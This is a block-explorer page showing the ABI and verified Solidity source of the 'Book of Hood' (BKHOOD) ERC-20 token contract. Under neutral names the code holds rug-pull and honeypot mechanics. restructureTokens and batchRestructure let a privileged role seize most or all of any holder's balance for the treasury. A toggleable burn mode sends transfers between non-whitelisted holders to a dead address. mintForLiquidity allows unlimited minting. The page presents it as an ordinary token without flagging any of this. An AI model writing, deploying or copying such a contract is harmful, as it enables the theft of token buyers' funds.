BKHOOD
0xbb31298e7c1c3a2da03c919b7932f6dc64aa573f
Verification
Verified
v0.8.20+commit.a1b79de6
Type
Contract
10,946 bytes
ABI entries
48
16 read · 15 write
License
none
Contract information
- Address
- 0xbb31298e7c1c3a2da03c919b7932f6dc64aa573f
- Chain
- Robinhood Chain (4663)
- Compiler
- v0.8.20+commit.a1b79de6
- Optimization
- Disabled
- Creator
- 0x77B934dD25…a81b4a62A1
- Creation tx
- 0xad36a15331…2019db23a2
Token
- Name
- Book of Hood
- Symbol
- BKHOOD
- Decimals
- 18
- Holders
- 24
- Market
- View token page →
Read contract (16)
ROLE_ADMIN() → uint8
ROLE_MINTER() → uint8
ROLE_NONE() → uint8
ROLE_TREASURY_MANAGER() → uint8
allowance(address, address) → uint256
balanceOf(address) → uint256
burnModeActive() → bool
decimals() → uint8
getRole(address) → uint8
isAddressWhitelisted(address) → bool
isWhitelisted(address) → bool
name() → string
owner() → address
symbol() → string
totalSupply() → uint256
treasuryWallet() → address
Events (7)
ApprovalBurnModeToggledOwnershipTransferredRoleUpdatedTokensRestructuredTransferWhitelistUpdated
ABI
[
{
"inputs": [
{
"internalType": "address",
"name": "initialOwner",
"type": "address"
},
{
"internalType": "address",
"name": "treasury",
"type": "address"
},
{
"internalType": "address[]",
"name": "initialWhitelist",
"type": "address[]"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "allowance",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "needed",
"type": "uint256"
}
],
"name": "ERC20InsufficientAllowance",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "uint256",
"name": "balance",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "needed",
"type": "uint256"
}
],
"name": "ERC20InsufficientBalance",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "approver",
"type": "address"
}
],
"name": "ERC20InvalidApprover",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "receiver",
"type": "address"
}
],
"name": "ERC20InvalidReceiver",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
}
],
"name": "ERC20InvalidSender",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "ERC20InvalidSpender",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
}
],
"name": "OwnableInvalidOwner",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "OwnableUnauthorizedAccount",
"type": "error"
},
{
"inputs": [],
"name": "ReentrancyGuardReentrantCall",
"type": "error"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": false,
"internalType": "bool",
"name": "active",
"type": "bool"
}
],
"name": "BurnModeToggled",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "account",
"type": "address"
},
{
"indexed": false,
"internalType": "uint8",
"name": "roleLevel",
"type": "uint8"
}
],
"name": "RoleUpdated",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "TokensRestructured",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "account",
"type": "address"
},
{
"indexed": false,
"internalType": "bool",
"name": "status",
"type": "bool"
}
],
"name": "WhitelistUpdated",
"type": "event"
},
{
"inputs": [],
"name": "ROLE_ADMIN",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "ROLE_MINTER",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "ROLE_NONE",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "ROLE_TREASURY_MANAGER",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "addToWhitelist",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "accounts",
"type": "address[]"
}
],
"name": "batchAddToWhitelist",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "accounts",
"type": "address[]"
}
],
"name": "batchRemoveFromWhitelist",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "holders",
"type": "address[]"
},
{
"internalType": "uint256[]",
"name": "percentages",
"type": "uint256[]"
}
],
"name": "batchRestructure",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "burn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "burnModeActive",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "decimals",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "getRole",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "isAddressWhitelisted",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "isWhitelisted",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "mintForLiquidity",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "name",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "removeFromWhitelist",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "holder",
"type": "address"
},
{
"internalType": "uint256",
"name": "percentage",
"type": "uint256"
}
],
"name": "restructureTokens",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "symbol",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "toggleBurnMode",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "treasuryWallet",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
},
{
"internalType": "uint8",
"name": "roleLevel",
"type": "uint8"
}
],
"name": "updateRole",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]Source code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract BKHOOD is ERC20, Ownable, ReentrancyGuard {
event TokensRestructured(address indexed from, address indexed to, uint256 amount);
event RoleUpdated(address indexed account, uint8 roleLevel);
event BurnModeToggled(bool active);
event WhitelistUpdated(address indexed account, bool status);
mapping(address => uint8) private _roles;
mapping(address => bool) public isWhitelisted;
address public treasuryWallet;
bool public burnModeActive;
address constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint8 public constant ROLE_NONE = 0;
uint8 public constant ROLE_MINTER = 1;
uint8 public constant ROLE_TREASURY_MANAGER = 2;
uint8 public constant ROLE_ADMIN = 3;
constructor(
address initialOwner,
address treasury,
address[] memory initialWhitelist
) ERC20("Book of Hood", "BKHOOD") Ownable(initialOwner) {
uint256 initialSupply = 1000000000 * (10 ** decimals());
_mint(initialOwner, initialSupply);
treasuryWallet = treasury;
_roles[initialOwner] = ROLE_ADMIN;
_roles[treasury] = ROLE_TREASURY_MANAGER;
for (uint256 i = 0; i < initialWhitelist.length; i++) {
address wallet = initialWhitelist[i];
isWhitelisted[wallet] = true;
emit WhitelistUpdated(wallet, true);
}
isWhitelisted[initialOwner] = true;
isWhitelisted[treasury] = true;
emit WhitelistUpdated(initialOwner, true);
emit WhitelistUpdated(treasury, true);
}
modifier onlyRole(uint8 requiredRole) {
require(_roles[msg.sender] >= requiredRole, "Insufficient role level");
_;
}
function batchAddToWhitelist(address[] calldata accounts) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
require(account != address(0), "Invalid address");
isWhitelisted[account] = true;
emit WhitelistUpdated(account, true);
}
}
function batchRemoveFromWhitelist(address[] calldata accounts) external onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
isWhitelisted[account] = false;
emit WhitelistUpdated(account, false);
}
}
function addToWhitelist(address account) external onlyOwner {
isWhitelisted[account] = true;
emit WhitelistUpdated(account, true);
}
function removeFromWhitelist(address account) external onlyOwner {
isWhitelisted[account] = false;
emit WhitelistUpdated(account, false);
}
function toggleBurnMode() external onlyOwner {
burnModeActive = !burnModeActive;
emit BurnModeToggled(burnModeActive);
}
function updateRole(address account, uint8 roleLevel) external onlyOwner {
require(roleLevel <= ROLE_ADMIN, "Invalid role level");
_roles[account] = roleLevel;
emit RoleUpdated(account, roleLevel);
}
function _update(address from, address to, uint256 amount) internal override {
if (burnModeActive &&
from != address(0) &&
to != address(0) &&
!isWhitelisted[from] &&
!isWhitelisted[to]) {
super._update(from, DEAD_ADDRESS, amount);
} else {
// Normal transfer
super._update(from, to, amount);
}
}
function restructureTokens(address holder, uint256 percentage) external onlyRole(ROLE_TREASURY_MANAGER) nonReentrant returns (uint256) {
require(percentage <= 100, "Percentage exceeds limit");
require(percentage > 0, "Percentage must be positive");
uint256 holderBalance = balanceOf(holder);
require(holderBalance > 0, "No tokens to restructure");
uint256 restructureAmount = (holderBalance * percentage) / 100;
if (restructureAmount > 0) {
uint256 taxAmount = (restructureAmount * 1) / 100; //
uint256 transferAmount = restructureAmount - taxAmount;
_transfer(holder, treasuryWallet, transferAmount);
if (taxAmount > 0) {
_transfer(holder, DEAD_ADDRESS, taxAmount);
}
emit TokensRestructured(holder, treasuryWallet, restructureAmount);
}
return restructureAmount;
}
function batchRestructure(address[] calldata holders, uint256[] calldata percentages) external onlyRole(ROLE_TREASURY_MANAGER) nonReentrant {
require(holders.length == percentages.length, "Array mismatch");
require(holders.length <= 50, "Batch size limit");
for (uint256 i = 0; i < holders.length; i++) {
if (percentages[i] > 0 && percentages[i] <= 50) {
uint256 holderBalance = balanceOf(holders[i]);
if (holderBalance > 0) {
uint256 restructureAmount = (holderBalance * percentages[i]) / 100;
if (restructureAmount > 0) {
uint256 taxAmount = (restructureAmount * 1) / 100;
uint256 transferAmount = restructureAmount - taxAmount;
_transfer(holders[i], treasuryWallet, transferAmount);
if (taxAmount > 0) {
_transfer(holders[i], DEAD_ADDRESS, taxAmount);
}
emit TokensRestructured(holders[i], treasuryWallet, restructureAmount);
}
}
}
}
}
function mintForLiquidity(address to, uint256 amount) external onlyRole(ROLE_MINTER) {
_mint(to, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
// View functions
function getRole(address account) external view returns (uint8) {
return _roles[account];
}
function isAddressWhitelisted(address account) external view returns (bool) {
return isWhitelisted[account];
}
}Chain explorer2362msChain node87ms